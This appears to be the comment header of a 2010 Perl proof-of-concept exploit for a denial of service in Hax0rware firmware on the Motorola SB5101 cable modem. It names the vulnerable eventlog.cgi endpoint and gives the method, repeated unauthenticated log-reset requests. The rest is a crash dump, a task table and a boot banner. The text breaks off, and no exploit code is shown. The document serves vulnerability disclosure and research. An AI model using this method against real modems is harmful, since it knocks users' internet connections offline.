#!/usr/bin/perl |
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# Motorola SB5101 Hax0rware Event Reset Remote Overflow |
# Tested on Hax0rware 1.1 R30, R32 and R39 |
# Author: Dillon Beresford |
# Date: 6/6/2010 |
# Vendor: Motorola Corporation and SBHacker ( SBHacker has been notified of the vuln ). |
# Software Link: http://www.sbhacker.net/forum/index.php |
# Description: Motorola SB5101 Hax0rware Event Reset Remote Buffer Overflow |
# An unauthenticated attacker could send multiple log reset requests to eventlog.cgi, |
# causing a a denial of service, which would send the cable modem into a reboot loop. |
# For debugging telnet into the device 192.168.100.1 and run the poc. |
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# >>> YIKES... looks like you may have a problem! <<< |
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# r0/zero=00000000 r1/at =80510000 r2/v0 =00000000 r3/v1 =00000002 |
# r4/a0 =ac100102 r5/a1 =00000000 r6/a2 =00000001 r7/a3 =8069b914 |
# r8/t0 =00000001 r9/t1 =00000000 r10/t2 =00000001 r11/t3 =00000000 |
# r12/t4 =00000000 r13/t5 =00000000 r14/t6 =00000000 r15/t7 =00000005 |
# r16/s0 =807bd04c r17/s1 =807bd004 r18/s2 =807bd000 r19/s3 =8069bb90 |
# r20/s4 =8069bb88 r21/s5 =11110015 r22/s6 =11110016 r23/s7 =11110017 |
# r24/t8 =00000000 r25/t9 =00000009 r26/k0 =807d2698 r27/k1 =8069bc7c |
# r28/gp =80458fa0 r29/sp =8069b910 r30/fp =8069b970 r31/ra =80197d24 |
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# PC : 0x80197e14 error addr: 0xac100102 |
# cause: 0x00000010 status: 0x1000ff03 |
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# BCM interrupt enable: fffffff7, status: 00000000 |
# Instruction at PC: 0x8c830000 |
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# entry 80197c58 called from 801dbe10 |
# entry 801dbd08 called from 80242f64 |
# entry 80242eb8 called from 802fb2e4 |
# entry 802fb2ac called from 802fb2a4 |
# entry 802fb2ac Return address (00000000) invalid. Trace stops. |
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# Task: NetToMedia Thread |
# --------------------------------------------------- |
# ID: 0x0025 |
# Handle: 0x8069ba24 |
# Set Priority: 23 |
# Current Priority: 23 |
# State: SUSP |
# Stack Base: 0x8069a9b0 |
# Stack Size: 4096 bytes |
# Stack Used: 1088 bytes |
# Stack Stack Stack |
# TaskId TaskName Priority State Size Used Margin |
# ---------- -------------------------------- -------- -------- -------- -------- -------- |
# 0x8048f818 Idle Thread 31 RUN 2048 1064 984 |
# 0x805131d0 Network alarm support 6 SLEEP 2256 1232 1024 |
# 0x804924c8 Network support 7 SLEEP 8192 1824 6368 |
# 0x80513f20 pthread.00000800 15 EXIT 7852 1104 6748 |
# 0x8048a1c8 tStartup 18 SLEEP 12288 5208 7080 |
# 0x8054b9ac Rajko HttpD 23 SLEEP 3280 2164 1116 |
# 0x807f579c NonVol Device Async Helper 25 SLEEP 3072 504 2568 |
# 0x807ebc7c Motorola Standby Switch Thread 23 SLEEP 4096 440 3656 |
# 0x807ea984 Motorola Vendor Ctl Thread 23 SLEEP 4096 512 3584 |
# 0x807f64e8 WDOG 17 RUN 5120 2784 2336 |
# 0x807e8eb0 BFC Ping Thread 29 SLEEP 6144 476 5668 |
# 0x807e870c ConsoleThread 27 RUN 36864 2168 34696 |
# 0x807d6c58 TelnetD 23 RUN 2256 2040 216 |
# 0x807ca564 CfgVB Thread 23 SLEEP 4096 516 3580 |
# 0x807c5400 DHCM 25 SLEEP 16384 516 15868 |
# 0x807bf390 Event 25 SLEEP 0 0 0 OVERFLOW |
# 0x8079a900 Time Of Day Thread 23 SLEEP 6144 460 5684 |
# 0x8079ad70 CmDocsisIpThread 23 SLEEP 8192 508 7684 |
# 0x80793edc CmBpiManagerThd 25 SLEEP 8192 512 7680 |
# 0x8079035c CmDsxHelper 23 SLEEP 8192 508 7684 |
# 0x807ac334 CmDocsisCtlThread 21 SLEEP 8192 516 7676 |
# 0x80789228 Scan Downstream Thread 23 SLEEP 4096 1416 2680 |
# 0x80786004 RateShaping Thread 23 SLEEP 4096 448 3648 |
# 0x807f65e0 CMHL 23 SLEEP 4500 372 4128 |
# 0x807f66d8 CMHH 21 SLEEP 4500 356 4144 |
# 0x807f67d0 ENRX 23 SLEEP 4500 1248 3252 |
# 0x807f68c8 ENTX 23 SLEEP 4500 788 3712 |
# 0x807f69c0 ELNK 23 SLEEP 4500 324 4176 |
# 0x807f6ab8 USTX 23 SLEEP 4500 344 4156 |
# 0x807f6bb0 USRX 23 SLEEP 4500 376 4124 |
# 0x807f6ca8 UBCT 19 SLEEP 4500 360 4140 |
# 0x807f6da0 USRN 23 SLEEP 4500 344 4156 |
# 0x806a5e18 DHCP Client Thread 23 SLEEP 12288 512 11776 |
# 0x807f6e98 IpHalIst 23 RUN 4500 816 3684 |
# 0x8069ff7c CmPropaneCtlThread 23 SLEEP 8192 1632 6560 |
# 0x8069d320 IGMP Thread 23 SLEEP 4096 460 3636 |
# 0x8069ba24 NetToMedia Thread 23 SUSP 4096 1088 3008 |
# 0x8069798c Trap Thread 23 SLEEP 16384 504 15880 |
# 0x807f6030 SNMP Thread 23 SLEEP 20480 1196 19284 |
# 0x805aaf20 DHCP Server Thread 23 SLEEP 8192 1448 6744 |
# 0x8047b410 tNonVolTimer 30 SLEEP 2048 292 1756 |
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# * * |
# *** *** |
# *** *** |
# *** *** |
# ***** ***** |
# ***** ***** |
# ***** ***** |
# ******* ******* |
# ******* ******* |
# ******* ******* |
# ********* ********* |
# ********* ********* |
# **** *** *** **** |
# *** *** *** |
# *** * *** |
# ** ** |
# ** ** |
# ** ** |
# ** ** |
# * * |
# Motorola Corporation |
|
# +----------------------------------------------------------------------------+ |
# | _/_/ _/_/_/_/ _/_/ | |
# | _/ _/ _/ _/ _/ Broadband | |
# | _/ _/ _/ _/ | |
# | _/_/ _/_/_/ _/ Foundation | |
# | _/ _/ _/ _/ | |
# | _/ _/ _/ _/ _/ Classes | |
# | _/_/_/ _/ _/_/ | |
# | | |
# | Copyright (c) 1999 - 2007 Broadcom Corporation | |
# | | |
# | Revision: 3.9.33.3 RELEASE | |
# | | |
# | Features: Console Nonvol Fat HeapManager SNMP Networking USB1.1 | |
# +----------------------------------------------------------------------------+ |
# | Standard Embedded Target Support for BFC | |
# | | |
# | Copyright (c) 2003 - 2007 Broadcom Corporation | |
# | | |
# | Revision: 3.0.1 RELEASE | |
# | | |
# | Features: PID=0xc011 Bootloader-Rev=2.1.6d | |
# | Copyright (c) 2003 - 2007 Broadcom Corporation | |
# | | |
# | Revision: 3.0.1 RELEASE | |
# | | |
# | Features: PID=0xc011 Bootloader-Rev=2.1.6d | |
# | Features: Bootloader-Compression-Support=0x19 | |
# +----------------------------------------------------------------------------+ |
# | eCos BFC Application Layer | |
# | | |
# | Copyright (c) 1999 - 2007 Broadcom Corporation | |
# | | |
# | Revision: 3.0.2 RELEASE | |
# | | |
# | Features: eCos Console Cmds, (no Idle Loop Profiler) | |
# +----------------------------------------------------------------------------+ |
# | _/_/ _/ _/ | |
# | _/ _/ _/_/ _/_/ DOCSIS Cable Modem | |
# | _/ _/ _/ _/ | |
# | _/ _/ _/ | |
# | _/&
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